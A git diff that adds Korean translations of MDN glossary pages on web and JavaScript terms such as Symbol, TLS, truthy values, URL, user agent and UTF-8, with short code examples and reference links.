+<h2 id="더보기">더보기</h2>
+
+<h3 id="일반_상식">일반 상식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "SVG")}} 위키피디아 </li>
+</ul>
+
+<h3 id="SVG_배우기">SVG 배우기</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html">W3.org's SVG Primer</a> </li>
+</ul>
+
+<h3 id="기술_정보">기술 정보</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG">SVG documentation on MDN</a></li>
+ <li><a href="http://www.w3.org/TR/SVG/" rel="external">Latest SVG specification</a></li>
+</ul>
diff --git a/files/ko/glossary/symbol/index.html b/files/ko/glossary/symbol/index.html
new file mode 100644
index 0000000000..b1dc5d186a
--- /dev/null
+++ b/files/ko/glossary/symbol/index.html
@@ -0,0 +1,61 @@
+---
+title: Symbol
+slug: Glossary/Symbol
+tags:
+  - ECMAScript 2015
+  - NeedsMarkupWork
+  - 공유
+  - 용어집
+  - 자바스크립트
+translation_of: Glossary/Symbol
+---
+<p>이 용어집 페이지에서는 "<strong>심볼(symbol)</strong>"이라는 데이터 형식과 <strong>심볼</strong> 데이터 형식의 인스턴스를 생성하는 클래스와 유사한(class-like) "{{jsxref ("Symbol ")}}<code>()</code>"이라는 함수를 설명합니다.</p>
+
+<p>"<strong>심볼</strong>" 데이터 형식은 값으로 익명의 객체 속성(object property)을 만들 수 있는 특성을 가진 원시 데이터 형식(primitive data type)입니다. 이 데이터 형식은 클래스나 객체 형식(object type)의 내부에서만 접근할 수 있도록 전용(private) 객체 속성의 키(key)로 사용됩니다. 예를 들어, <strong>심볼</strong> 형식으로 된 키는 자바스크립트의 다양한 내장(built-in) 객체 안에 존재합니다. 사용자 지정 클래스(custom classes) 역시 이러한 방식으로 전용 멤버를 만들 수 있습니다. <strong>심볼</strong> 데이터 형식은 고도로 특화된 용도로 쓰이며, 범용성은 현저히 떨어집니다; <strong>심볼</strong>의 인스턴스에 L값(L-value)을 할당할 수 있고 식별자로 이용할 수 있습니다. 그게 전부입니다; 적용할 수 있는 연산자도 없습니다. (이를 "Number" 형식의 인스턴스, 예를 들어 정수 "42"와 대조해보십시오. 숫자 형식의 인스턴스에는 같은 형식의 다른 값과 비교하거나 조합할 수 있는 다양한 연산자 집합이 제공됩니다.)</p>
+
+<p>"<strong>심볼</strong>" 데이터 형식의 값은 "심볼 값(symbol value)"라고도 합니다. 자바스크립트 런타임 환경 내에서 심볼 값은 <code>Symbol()</code> 함수를 호출하여 생성할 수 있는데, 이 함수는 동적으로 익명의 고유한 값을 만들어냅니다. 심볼은 객체 속성(object property)로 사용될 수 있습니다.</p>
+
+<pre class="brush: js">var  myPrivateMethod  = Symbol();
+this[myPrivateMethod] = function() {...};</pre>
+
+<p>심볼 값은 (심볼처럼)익명인 속성에 할당(property assignment)할 때 식별자(identifier)로 사용되며, 비열거형입니다. 자신이 가리키는 속성이 비열거형이기 때문에 "<code>for( ... in ...)</code>"로 구성되는 반복문 내에서 멤버로 사용될 수 없으며, 그 속성이 익명이기 때문에 "<code>Object.getOwnPropertyNames()</code>"가 반환하는 배열에 들어갈 수도 없습니다. 해당 속성은 그 속성을 만든 원래 심볼 값을 이용하거나 "<code>Object.getOwnPropertySymbols()</code>"가 반환하는 배열을 반복(iterating)함으로써 접근할 수 있습니다. 앞의 예제 코드에서는 <code>myPrivateMethod</code> 변수에 저장된 값을 통해 해당 속성에 접근하였습니다.</p>
+
+<p>내장 함수인 "{{jsxref("Symbol")}}<code>()</code>"는 함수로써 호출되면 심볼 값을 반환하나, "<code>new Symbol()</code>"와 같은 문법으로 생성자로 사용하려 하면 에러를 발생시키는 불완전한 클래스(incomplete class)입니다. "{{jsxref("Symbol")}}<code>()</code>"는 자바스크립트의 전역 심볼 테이블(global symbol table)에 접근할 수 있는 정적 메서드와 공용으로(commonly) 사용되는 객체를 가리키는 특정 심볼의 주소를 값으로 가지는 정적 속성을 가집니다. <code>Symbol()</code> 함수에 의해 생성되는 심볼 값은 앞서 설명한 바와 같습니다. <code>Symbol()</code>를 생성자로 사용할 경우 발생하는 오류는 혼동을 유발할 수 있는 의도치 않은 객체의 생성을 막기 위한 예방책이라 할 수 있습니다. 전역 심볼 레지스트리(the global symbol registry)에 접근하기 위한 메서드는 "<code>Symbol.for()</code>"와 "<code>Symbol.keyFor()</code>"입니다; 이 메서드들은 전역 심볼 테이블(또는 "레지스트리")과 런타임 환경 사이를 중재합니다. 심볼 레지스트리는 대부분 자바스크립트의 컴파일러 인프라스트럭쳐에 의해 구축되며, 심볼 레지스트리의 컨텐츠는 이러한 리플렉티브 메서드를 통하지 않고서는 자바스크립트의 런타임 인프라스트럭쳐가 접근할 수 없습니다.  <em><code>Symbol.for("tokenString")</code></em>는 레지스트리로부터 심볼 값을 반환하고 <em><code>Symbol.keyFor(symbolValue)</code></em>는 레지스트리로부터 토큰 문자열(token string)을 반환합니다; 서로에게 정반대이므로 다음 코드는 참입니다:</p>
+
+<pre class="brush: js">Symbol.keyFor(Symbol.for("tokenString")) == "tokenString"; // true
+</pre>
+
+<p><strong>Symbol</strong> 클래스는 익명에 이름을 부여하는 역설적인 효과를 가진 몇 가지 정적 속성을 가지고 있습니다. 흔히 "잘 알려진" 심볼이라 불리는 몇 가지 심볼이 존재합니다. 이 심볼들은 특정 내장 객체에 존재하는 몇 개의 선택된 메서드 속성을 가리키는 심볼입니다. 이들 심볼을 노출시킴으로써 이들 메서드에 직접 접근할 수 있게됩니다(이런 접근은 사용자 지정 클래스를 정의할 때 유용합니다). 잘 알려진 심볼의 예로는 배열과 유사한 객체에 대한 "<code>Symbol.iterator</code>"와 문자열 객체에 대한 "<code>Symbol.search</code>"가 있습니다. </p>
+
+<p><code>Symbol()</code> 함수와 이 함수가 생성하는 심볼 값은 프로그래머가 사용자 지정 클래스(custom class)를 설계할 때 유용합니다. 심볼 값은 사용자 지정 클래스가 전용 멤버를 만들고 바로 그 클래스와 관련된 심볼 레지스트리를 유지 관리하는 방법을 제공합니다. 사용자 지정 클래스는 심볼 값을 이용하여 의도하지 않은 노출로부터 보호할 수 있는 "자신만의" 속성을 만들 수 있습니다. 클래스 정의 내에서 동적으로 생성된 심볼 값은 클래스 정의 내에서 전용으로만 사용할 수 있는 범위(scoped) 변수에 저장됩니다. 토큰 문자열은 없습니다. 범위 변수는 토큰과 동일한 역할을 합니다.</p>
+
+<p>어떤 프로그래밍 언어에서는 심볼 데이터 형식을 "atom(원자)"라고 합니다. </p>
+
+<p>자바스크립트({{Glossary("JavaScript")}})에서 심볼은 원시 데이터 값({{Glossary("Primitive", "primitive value")}})입니다.</p>
+
+<p>심볼은 선택적으로 설명으로 가질 수 있지만, 디버깅 용도로만 사용할 수 있습니다.</p>
+
+<p>심볼 형식은 ECMAScript 2015에 추가된 특성이며 ECMAScript 5에는 심볼과 동등한 형식이 존재하지 않습니다.</p>
+
+<pre class="brush: js">Symbol("foo") !== Symbol("foo")
+const foo = Symbol()
+const bar = Symbol()
+typeof foo === "symbol"
+typeof bar === "symbol"
+let obj = {}
+obj[foo] = "foo"
+obj[bar] = "bar"
+JSON.stringify(obj) // {}
+Object.keys(obj) // []
+Object.getOwnPropertyNames(obj) // []
+Object.getOwnPropertySymbols(obj) // [ Symbol(), Symbol() ]</pre>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Symbol (programming)")}} on Wikipedia</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data types and data structures</a></li>
+ <li><a href="http://2ality.com/2014/12/es6-symbols.html">Symbols in ECMAScript 6</a></li>
+</ul>
diff --git a/files/ko/glossary/tag/index.html b/files/ko/glossary/tag/index.html
new file mode 100644
index 0000000000..e2bb42d3cc
--- /dev/null
+++ b/files/ko/glossary/tag/index.html
@@ -0,0 +1,27 @@
+---
+title: 태그
+slug: Glossary/Tag
+tags:
+  - CodingScripting
+  - Glossary
+  - HTML
+translation_of: Glossary/Tag
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><strong>태그</strong>(tag)는 {{Glossary("element", "요소")}}를 만들 때 사용합니다. 문단 태그 <code>&lt;p&gt;</code>처럼, 요소 이름을 부등호 사이에 넣어서 태그를 구성할 수 있습니다. 닫는 태그는 이름 앞에 슬래시 문자를 <code>&lt;/p&gt;</code>와 같이 포함하며, {{glossary("empty element", "빈 요소")}}의 경우 닫는 태그가 필요하지 않으며 지정해서도 안됩니다. 태그에 {{glossary("attribute", "특성")}}을 지정하지 않으면 기본값을 사용합니다.</p>
+
+<h2 id="더_알아보기"><strong>더 알아보기</strong></h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "HTML 요소")}}</li>
+ <li>{{glossary("WHATWG")}}의 <a href="https://html.spec.whatwg.org/multipage/syntax.html#elements-2">HTML 요소 구문</a></li>
+</ul>
+
+<h3 id="기술_참고서">기술 참고서</h3>
+
+<ul>
+ <li><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a></li>
+</ul>
diff --git a/files/ko/glossary/tcp/index.html b/files/ko/glossary/tcp/index.html
new file mode 100644
index 0000000000..e7d09d2492
--- /dev/null
+++ b/files/ko/glossary/tcp/index.html
@@ -0,0 +1,31 @@
+---
+title: TCP
+slug: Glossary/TCP
+translation_of: Glossary/TCP
+---
+<p id="Summary">TCP (전송 제어 프로토콜)은 두 개의 호스트를 연결하고 데이터 스트림을 교환하게 해주는 중요한 네트워크 프로토콜이다. TCP는 데이터와 패킷이 보내진 순서대로 전달하는 것을 보장해준다. Vint CERF와 Bob Kahn (당시 DARPA 과학자)는 TCP를 1970년 대에 설계하였다.</p>
+
+<p>TCP의 역할은 에러가 없이 패킷이 신뢰할 수 있게 전달 되었는지 보증해 주는 것이다. TCP는 동시제어가 가능하다. 이는 초기 요청이 작게 시작해도 컴퓨터들과 서버들의 대역폭의 깊이가 증가해도 네트워크가 지원할 수 있다는 것을 뜻한다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Glossary">Glossary</a>
+
+  <ol>
+   <li>{{Glossary("IPv4")}}</li>
+   <li>{{Glossary("IPv6")}}</li>
+   <li>{{Glossary("Packet")}}</li>
+  </ol>
+ </li>
+ <li>Wikipedia article
+  <ol>
+   <li>{{Interwiki("wikipedia", "Transmission Control Protocol")}}</li>
+  </ol>
+ </li>
+ <li>See Also
+  <ol>
+   <li><a href="/en-US/docs/Web/HTTP/Overview">http overview</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/tls/index.html b/files/ko/glossary/tls/index.html
new file mode 100644
index 0000000000..df1e21aad0
--- /dev/null
+++ b/files/ko/glossary/tls/index.html
@@ -0,0 +1,39 @@
+---
+title: 전송 계층 보안 (TLS)
+slug: Glossary/TLS
+translation_of: Glossary/TLS
+---
+<p id="Summary">이전에 {{Glossary("SSL", "Secure Sockets Layer (SSL)")}}로 알려진 <strong>Transport Layer Security (TLS)</strong>는 어플리케이션들이 네트워크 상에서 안전하게 통신하기 위해 사용된 {{Glossary("protocol")}}이며, 이메일, 웹 브라우징, 메세징, 그리고 다른 프로토코들의 감청을 통한 정보의 변형을 방지한다. SSL과 TLS 모두 네트워크 상에서 보안을 제공하는 cryptographic 프로토콜을 사용한 클라이언트 / 서버 프로토콜이다. 서버와 클라이언트가 TLS로 통신을 할때, 어떠한 제 3자도 메세지를 변형시키거나 감청할 수 없도록 한다.</p>
+
+<p>모든 모던 브라우저들을 TLS를 지원하고, 안전한 연결을 하기위해서 서버가 유효한 {{Glossary("Digital certificate", "digital certificate")}} 를 제공하기를 요구한다. 클라이언트와 서버 둘 다 각자 digital certificate을 제공하면, 서로를 인증해줄 수 있다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: TLS 1.0 와 1.1 2020년 초부터 대부분의 브라우저에서 지원하지 않을 예정이다; 웹 브라우저가 TLS 1.2 나 TLS 1.3을 지원하는지 확인해보는 것이 좋을 것이다. Firefox는 버전 74 이후로 구 TLS 버전을 사용해서 서버에 연결을 시도할 경우 <a href="https://support.mozilla.org/en-US/kb/secure-connection-failed-firefox-did-not-connect">Secure Connection Failed</a> 에러를 반환한다. ({{bug(1606734)}}).</p>
+</div>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>Specifications
+  <ol>
+   <li><a href="https://tools.ietf.org/html/rfc5246" rel="external">RFC 5246</a> (The Transport Layer Security Protocol, Version 1.2)</li>
+  </ol>
+ </li>
+ <li>Wikipedia articles
+  <ol>
+   <li>{{Interwiki("wikipedia", "Transport Layer Security")}}</li>
+  </ol>
+ </li>
+ <li>See also
+  <ol>
+   <li><a href="/en-US/docs/Web/Security/Transport_Layer_Security">Transport Layer Security</a></li>
+   <li><a href="https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet" rel="external">OWASP: Transport Layer Protection Cheat Sheet</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/Glossary">Glossary</a>
+  <ol>
+   <li>{{Glossary("HTTPS")}}</li>
+   <li>{{Glossary("SSL")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/truthy/index.html b/files/ko/glossary/truthy/index.html
new file mode 100644
index 0000000000..ae92e41292
--- /dev/null
+++ b/files/ko/glossary/truthy/index.html
@@ -0,0 +1,53 @@
+---
+title: 참 같은 값
+slug: Glossary/Truthy
+tags:
+  - CodingScripting
+  - Glossary
+  - JavaScript
+translation_of: Glossary/Truthy
+---
+<p>{{Glossary("JavaScript")}}에서, <strong>참 같은 값</strong>(Truthy)인 값이란 {{Glossary("Boolean", "불리언")}}을 기대하는 문맥에서 <code>true</code>로 평가되는 값입니다. 따로 {{Glossary("Falsy", "거짓 같은 값")}}으로 정의된 값이 아니면 모두 참 같은 값으로 평가됩니다. (예: <code>false</code>, <code>0</code>, <code>-0</code>, <code>0n</code>, <code>""</code>, <code>null</code>, <code>undefined</code>와 <code>NaN</code> 등)</p>
+
+<p>JavaScript는 불리언 문맥에서 {{Glossary("Type_Conversion", "형 변환")}}을 사용합니다.</p>
+
+<p>다음은 참 같은 값에 대한 예시입니다. JavaScript는 불리언 문맥에서 참 같은 값을 <code>true</code>로 변환하기 때문에 아래의 모든 <code>if</code> 블록을 실행합니다.</p>
+
+<pre class="notranslate">if (true)
+if ({})
+if ([])
+if (42)
+if ("0")
+if ("false")
+if (new Date())
+if (-42)
+if (12n)
+if (3.14)
+if (-3.14)
+if (Infinity)
+if (-Infinity)</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-toboolean", "<code>ToBoolean</code> abstract operation")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Glossary("Falsy", "거짓 같은 값")}}</li>
+ <li>{{Glossary("Type_Conversion", "형변환")}}</li>
+ <li>{{Glossary("Boolean", "불리언")}}</li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
diff --git a/files/ko/glossary/ui/index.html b/files/ko/glossary/ui/index.html
new file mode 100644
index 0000000000..6563ddcec3
--- /dev/null
+++ b/files/ko/glossary/ui/index.html
@@ -0,0 +1,15 @@
+---
+title: UI
+slug: Glossary/UI
+translation_of: Glossary/UI
+---
+<p><em><strong>User Interface</strong> </em>(UI) 는 사용자와 기계의 상호작용을 촉진하는 모든 것이다. 컴퓨터의 세계에서는 키보드, 조이스틱, 화면, 프로그램 등 무엇이든 될 수 있다. 컴퓨터 소프트웨어의 경우 커맨드 라인 프롬프트, 웹페이지, 사용자 입력 양식 또는 응용 프로그램의 프런트엔드가 될 수 있다</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "User_interface", "User interface")}} </li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Front_end_development", "Front end development")}} </li>
+</ul>
diff --git a/files/ko/glossary/undefined/index.html b/files/ko/glossary/undefined/index.html
new file mode 100644
index 0000000000..1092b29ff4
--- /dev/null
+++ b/files/ko/glossary/undefined/index.html
@@ -0,0 +1,25 @@
+---
+title: undefined
+slug: Glossary/undefined
+tags:
+  - CodingScripting
+  - Glossary
+  - JavaScript
+translation_of: Glossary/undefined
+---
+<p><span class="seoSummary"><strong><code>undefined</code></strong>는 {{Glossary("primitive", "원시값")}}으로, 선언한 후 값을 할당하지 않은 {{glossary("variable", "변수")}} 혹은 값이 주어지지 않은 {{Glossary("argument","인수")}}에 자동으로 할당됩니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var x; // 값을 할당하지 않고 변수 선언
+
+console.log("x's value is", x) // "x's value is undefined" 출력
+</pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술_참고서">기술 참고서</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Data_structures">JavaScript 자료형과 자료 구조</a></li>
+</ul>
diff --git a/files/ko/glossary/unicode/index.html b/files/ko/glossary/unicode/index.html
new file mode 100644
index 0000000000..9e74ccfd8a
--- /dev/null
+++ b/files/ko/glossary/unicode/index.html
@@ -0,0 +1,20 @@
+---
+title: 유니코드
+slug: Glossary/Unicode
+tags:
+  - Glossary
+  - Infrastructure
+translation_of: Glossary/Unicode
+---
+<p><span class="seoSummary"><strong>유니코드</strong>는 세계 각국의 서로 다른 언어와 쓰기 방식, 기호 등을 모아 번호를 할당하고 {{glossary("character", "문자")}}를 정의하는 표준 {{Glossary("character set","문자 집합")}}입니다.</span> 각각의 문자에 번호를 매김으로써 프로그래머는 {{Glossary("character encoding", "문자 인코딩")}}을 제작할 수 있고, 컴퓨터는 그 인코딩을 사용해 같은 파일 또는 프로그램 내에서 어떠한 언어 조합을 사용하더라도 저장, 처리, 전송할 수 있습니다.</p>
+
+<p>유니코드 이전에는 하나의 데이터가 여러 언어를 한 번에 가지기 힘들었고, 오류에도 취약했습니다. 예를 들어 하나의 문자 집합은 한글, 다른 집합은 영문 알파벳을 저장할 수 있다고 했을 때, 데이터의 어디서부터 어디까지가 한글이고 어디까지가 영문 알파벳인지 분명하게 표시해놓지 않으면 다른 프로그램이나 컴퓨터가 데이터를 잘못 표시하거나, 처리 과정에서 손상시킬 수 있었습니다. 어떤 글이 <code>占쏙옙</code>처럼 말도 안되는 글자로 표시되는걸 본 적이 있다면, 실제로 프로그램이 문자를 적절히 처리하지 못한 예시를 확인한 것입니다.</p>
+
+<p>웹에서 제일 널리 쓰이는 유니코드 문자 인코딩은 {{Glossary("UTF-8")}}입니다. UTF-16이나 이제 사용하지 않는 UCS-2 등 다른 인코딩도 존재하지만 UTF-8을 추천합니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "유니코드")}}</li>
+ <li><a href="http://www.unicode.org/standard/principles.html">The Unicode Standard: A Technical Introduction</a></li>
+</ul>
diff --git a/files/ko/glossary/uri/index.html b/files/ko/glossary/uri/index.html
new file mode 100644
index 0000000000..759bb9e381
--- /dev/null
+++ b/files/ko/glossary/uri/index.html
@@ -0,0 +1,23 @@
+---
+title: URI
+slug: Glossary/URI
+tags:
+  - Glossary
+  - HTTP
+  - Search
+  - URI
+  - URL
+translation_of: Glossary/URI
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><span class="seoSummary"><strong>URI</strong>(Uniform Resource Identifier)는 하나의 리소스를 가리키는 문자열입니다.</span> 가장 흔한 URI는 {{glossary("URL")}}로, 웹 상에서의 위치로 리소스를 식별합니다. 반면, {{glossary("URN")}}은 주어진 이름공간 안의 이름으로 리소스를 식별합니다. 도서의 ISBN을 예시로 사용할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "URI")}}</li>
+ <li><a href="http://tools.ietf.org/html/rfc3986">URL에 관한 RFC 3986</a></li>
+</ul>
diff --git a/files/ko/glossary/url/index.html b/files/ko/glossary/url/index.html
new file mode 100644
index 0000000000..1b23992f97
--- /dev/null
+++ b/files/ko/glossary/url/index.html
@@ -0,0 +1,36 @@
+---
+title: URL
+slug: Glossary/URL
+tags:
+  - Glossary
+  - Infrastructure
+  - 'l10n:priority'
+translation_of: Glossary/URL
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><strong>URL</strong>(Uniform Resource Locator)은 인터넷에서 웹 페이지, 이미지, 비디오 등 리소스의 위치를 가리키는 문자열입니다.</p>
+
+<p>{{Glossary("HTTP")}} 맥락에서 URL은 "웹 주소" 또는 "링크"라고 불립니다. {{glossary("browser", "브라우저")}}는 <code>https://developer.mozilla.org</code> 등 URL을 주소창에 표시합니다. 일부 브라우저는 URL에서 "<code>//</code>" 뒤의 일부분, 즉 {{glossary("domain name", "도메인 이름")}}만 표시합니다.</p>
+
+<p>URL은 파일 전송({{glossary("FTP")}}), 이메일({{glossary("SMTP")}}) 등 다른 응용 프로그램에서도 사용할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "URL")}} </li>
+</ul>
+
+<h3 id="배워보기">배워보기</h3>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Common_questions/What_is_a_URL">URL과 URL 구조 이해하기</a></li>
+</ul>
+
+<h3 id="명세">명세</h3>
+
+<ul>
+ <li>URL 구문은 <a href="https://url.spec.whatwg.org/">URL Living Standard</a>가 정의합니다.</li>
+</ul>
diff --git a/files/ko/glossary/user_agent/index.html b/files/ko/glossary/user_agent/index.html
new file mode 100644
index 0000000000..dbfda1be0c
--- /dev/null
+++ b/files/ko/glossary/user_agent/index.html
@@ -0,0 +1,56 @@
+---
+title: 사용자 에이전트
+slug: Glossary/User_agent
+tags:
+  - Browser
+  - Glossary
+  - UA
+  - User-agent
+  - WebMechanics
+  - user agent
+  - userAgent
+  - 사용자 에이전트
+  - 유저 에이전트
+translation_of: Glossary/User_agent
+---
+<p><span class="seoSummary"><strong>사용자 에이전트</strong>(user agent)는 사용자를 대표하는 컴퓨터 프로그램으로, {{Glossary("World Wide Web", "웹")}} 맥락에선 {{Glossary("Browser", "브라우저")}}를 의미합니다.</span></p>
+
+<p>브라우저 외에도 웹 페이지를 긁어가는 봇, 다운로드 관리자, 웹에 접근하는 다른앱도 사용자 에이전트입니다. 브라우저는 서버에 보내는 모든 요청에 사용자 에이전트 문자열이라고 부르는, 자신의 정체를 알리는 {{httpheader("User-Agent")}} {{Glossary("HTTP")}} 헤더를 보냅니다. 이 문자열은 보통 브라우저 종류, 버전 번호, 호스트 운영체제를 포함합니다.</p>
+
+<p><span class="objectBox objectBox-string">스팸 봇, 다운로드 관리자, 일부 브라우저는 자신의 정체를 숨기고 다른 클라이언트인 척 하려고 가짜 사용자 에이전트 문자열을 보내곤 하며, 이를 사용자 에이전트 스푸핑(spoofing)이라고 말합니다.</span></p>
+
+<p><span class="objectBox objectBox-string">클라이언트에서는 {{Glossary("JavaScript")}}의 {{domxref("navigator.userAgent")}} 속성을 통해 사용자 에이전트 문자열에 접근할 수 있습니다.</span></p>
+
+<p>보통 사용자 에이전트 문자열은 <span class="objectBox objectBox-string"><code>"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"</code>과 같은 형태입니다. </span></p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과{{interwiki("wikipedia", "사용자 에이전트")}}</li>
+</ul>
+
+<h3 id="기술_참고서">기술 참고서</h3>
+
+<ul>
+ <li>{{domxref("navigator.userAgent")}}</li>
+ <li><a href="/ko/docs/Web/HTTP/Browser_detection_using_the_user_agent">사용자 에이전트를 이용한 브라우저 감지</a></li>
+ <li>{{RFC(2616, "14.43")}}: <code>User-Agent</code> 헤더</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Glossary">MDN 웹 문서 용어 사전</a>
+
+  <ol>
+   <li>{{Glossary("Browser", "브라우저")}}</li>
+  </ol>
+ </li>
+ <li>HTTP 헤더
+  <ol>
+   <li>{{HTTPHeader("User-agent")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/utf-8/index.html b/files/ko/glossary/utf-8/index.html
new file mode 100644
index 0000000000..1052533c1a
--- /dev/null
+++ b/files/ko/glossary/utf-8/index.html
@@ -0,0 +1,17 @@
+---
+title: UTF-8
+slug: Glossary/UTF-8
+translation_of: Glossary/UTF-8
+---
+<p>UTF-8(UCS Transformation Format 8)은 월드 와이드 웹의 가장 일반적인 {{Glossary("Character encoding", "문자 인코딩")}}이다. 각 문자는 1~4바이트로 표시된다. UTF-8은 {{Glossary("ASCII")}}와 역호환되며 표준 유니코드 문자를 나타낼 수 있다.</p>
+
+<p>처음 128개의 UTF-8 문자는 처음 128개의 ASCII 문자(숫자 0-127)와 정확히 일치하며, 이는 기존 ASCII 텍스트가 이미 유효한 UTF-8임을 의미한다. 다른 모든 문자는 2 ~ 4바이트를 사용한다. 각각의 바이트는 인코딩 목적으로 남겨진 비트가 있다. 비 ASCII 문자가  저장을 위해 1 바이트 이상을 요구하기 때문에, 바이트가 분리되고 재결합되지 않은 상태로 실행하면 손상될 위험이 있다.</p>
+
+<h2 id="더_알아보기" style="line-height: 18px;"><span style="font-size: 27.4286px;">더 알아보기</span></h2>
+
+<h3 id="일반적인_지식"><strong>일반적인 지식</strong></h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "UTF-8")}} </li>
+ <li><a href="http://www.unicode.org/faq/utf_bom.html#UTF8">FAQ about UTF-8 on Unicode website</a></li>
+</ul>
diff --git a/files/ko/glossary/variable/index.html b/files/ko/glossary/variable/index.html
new file mode 100644
index 0000000000..ac52d0578a
--- /dev/null
+++ b/files/ko/glossary/variable/index.html
@@ -0,0 +1,21 @@
+---
+title: Variable
+slug: Glossary/Variable
+translation_of: Glossary/Variable
+---
+<p>변수는 {{Glossary("Value", "값")}}을 저장하기 위해 명명된 위치이다. 이것을 사용하면 미리 정해진 이름을 통해 예측할 수 없는 값에 접근할 수 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Variable (computer science)")}} </li>
+</ul>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Declaring variables in JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var"><code>var</code> statement in JavaScript</a></li>
+</ul>
diff --git a/files/ko/glossary/viewport/index.html b/files/ko/glossary/viewport/index.html
new file mode 100644
index 0000000000..95f9456d3b
--- /dev/null
+++ b/files/ko/glossary/viewport/index.html
@@ -0,0 +1,22 @@
+---
+title: 뷰포트
+slug: Glossary/Viewport
+tags:
+  - CodingScripting
+  - Glossary
+  - Layout
+  - viewport
+translation_of: Glossary/Viewport
+---
+<p><span class="seoSummary">컴퓨터 그래픽스에서, <strong>뷰포트</strong>(viewport)는 현재 화면에 보여지고 있는 다각형(보통 직사각형)의 영역입니다. 웹 브라우저에서는 현재 창에서 문서를 볼 수 있는 부분(전체화면이라면 화면 전체)을 말합니다.</span> 뷰포트 바깥의 콘텐츠는 스크롤 하기 전엔 보이지 않습니다.</p>
+
+<p>뷰포트 중에서도 지금 볼 수 있는 부분을 <strong>{{glossary("visual viewport", "시각적 뷰포트")}}</strong>라고 부릅니다. 스마트폰에서 사용자가 화면을 확대했을 때와 같은 특정 상황에서 {{glossary("layout viewport", "레이아웃 뷰포트")}}의 크기는 변하지 않지만 시각적 뷰포트는 더 작아집니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Visual_Viewport_API">Visual Viewport API</a></li>
+ <li>위키백과 {{Interwiki("wikipedia", "뷰포트 (컴퓨터 과학)")}}</li>
+</ul>
diff --git a/files/ko/glossary/webextensions/index.html b/files/ko/glossary/webextensions/index.html
new file mode 100644
index 0000000000..d7fe038101
--- /dev/null
+++ b/files/ko/glossary/webextensions/index.html
@@ -0,0 +1,14 @@
+---
+title: WebExtensions
+slug: Glossary/WebExtensions
+translation_of: Glossary/WebExtensions
+---
+<p>WebExtensions은 Firefox에서 브라우저 Extension을 개발하기위한 크로스 브라우저 시스템입니다. 이 시스템은 Mozilla Firefox, Google Chrome, Opera Browser 및 Microsoft Edge와 같은 다양한 브라우저에서 지원되는 API를 제공합니다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">Browser extensions</a> on MDN</li>
+</ul>
